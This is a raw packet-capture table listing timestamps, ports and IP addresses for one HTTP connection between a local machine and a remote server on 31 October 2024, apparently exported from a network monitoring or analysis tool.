Oct 31, 2024 23:38:15.406111956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.406128883 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.406136990 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.443969965 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.443994999 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444024086 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444040060 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444050074 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444063902 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444077969 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444093943 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444108963 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444118023 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444124937 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444137096 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444139957 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444154978 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444155931 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444180012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444179058 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444201946 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444214106 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444216967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444226027 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444232941 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444245100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444250107 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444256067 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444267035 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444292068 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444322109 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444504976 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444519997 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444535017 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444544077 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444559097 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444566965 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444582939 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444591045 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444598913 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444611073 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444614887 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444622040 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444633007 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444641113 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444654942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444664001 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444669008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444684029 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444685936 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444685936 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444698095 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444706917 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444711924 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444729090 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.444740057 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444756031 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.444783926 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445256948 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445272923 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445287943 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445297956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445302010 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445314884 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445317984 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445332050 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445348978 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445375919 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445394993 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445404053 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445404053 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445404053 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445410013 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445432901 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445441008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445455074 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445456028 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445472956 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445482016 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445487976 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445502996 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445504904 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445517063 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445525885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445547104 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445574999 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445590019 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445602894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445614100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445616961 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445624113 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445631027 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445642948 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445645094 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445660114 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445663929 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445673943 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445674896 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445691109 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445698977 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445707083 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445719957 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445743084 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445765972 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445790052 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445805073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445820093 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445835114 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445841074 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445848942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445862055 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445864916 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445879936 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445887089 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445900917 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445910931 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445915937 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445931911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445936918 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445947886 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445960045 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.445969105 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.445986032 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446005106 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446017027 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446019888 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446034908 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446047068 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446048975 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446059942 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446063995 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446079016 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446084023 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446094036 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446096897 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446124077 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446136951 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446151972 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446166039 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446199894 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446199894 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446201086 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446201086 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446379900 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446393967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446408987 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446424007 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446433067 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446455002 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446497917 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446677923 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446693897 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446708918 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446719885 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446726084 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446763039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446763039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446791887 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.446890116 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.446952105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.447379112 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.447423935 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.448801994 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.448817015 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.448863029 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.448878050 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466414928 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466448069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466463089 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466485977 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466485977 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466500998 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466516018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466527939 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466531038 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466546059 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466561079 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466562986 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466578007 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466582060 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466593027 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466603994 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466608047 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466630936 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466639996 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466645956 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466660976 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466684103 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466692924 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466701031 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466716051 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466725111 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466726065 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466732979 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466742992 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466748953 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466763973 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466770887 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466779947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466783047 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466797113 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466811895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466814995 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466830015 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466844082 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466845989 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466862917 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466866016 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466870070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466886044 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466898918 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466902018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466917992 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.466931105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466949940 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.466949940 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467034101 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467047930 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467063904 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467080116 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467083931 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467096090 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467109919 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467111111 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467128992 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467137098 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467144012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467159033 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467159986 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467175961 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467190981 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467191935 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467207909 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467221975 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467223883 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467235088 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467237949 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467252016 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467261076 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467279911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467282057 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467295885 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467310905 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467325926 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467325926 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467343092 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467360020 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467363119 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467375994 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467386961 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467391014 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467400074 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467406988 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467417002 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467421055 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467427015 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467437983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467453957 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467458010 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467469931 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467473030 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467484951 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467497110 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467499971 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467516899 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467524052 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467531919 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467547894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467550039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467561960 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467578888 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467593908 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467602968 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467609882 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467624903 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467639923 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467649937 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467653990 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467664003 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467678070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467690945 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467693090 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467708111 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467716932 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467722893 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467739105 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467746019 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467753887 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467765093 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467771053 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467787027 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467794895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467802048 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467814922 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467818975 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467833996 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467847109 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467849970 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467864990 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467875957 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467881918 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.467885971 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.467926025 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468135118 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468149900 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468163967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468173981 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468178988 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468194008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468202114 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468209982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468225002 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468225002 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468239069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468251944 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468261957 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468265057 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468276978 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468288898 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468291998 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468305111 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468307018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468317986 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468322039 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468332052 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468348026 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468348980 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468364000 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468370914 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468379974 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468391895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468396902 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468405008 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468414068 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468425035 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468430042 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468445063 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.468445063 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468455076 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.468461037 CET	80	49837	185.215.113.16	192.168.2.4
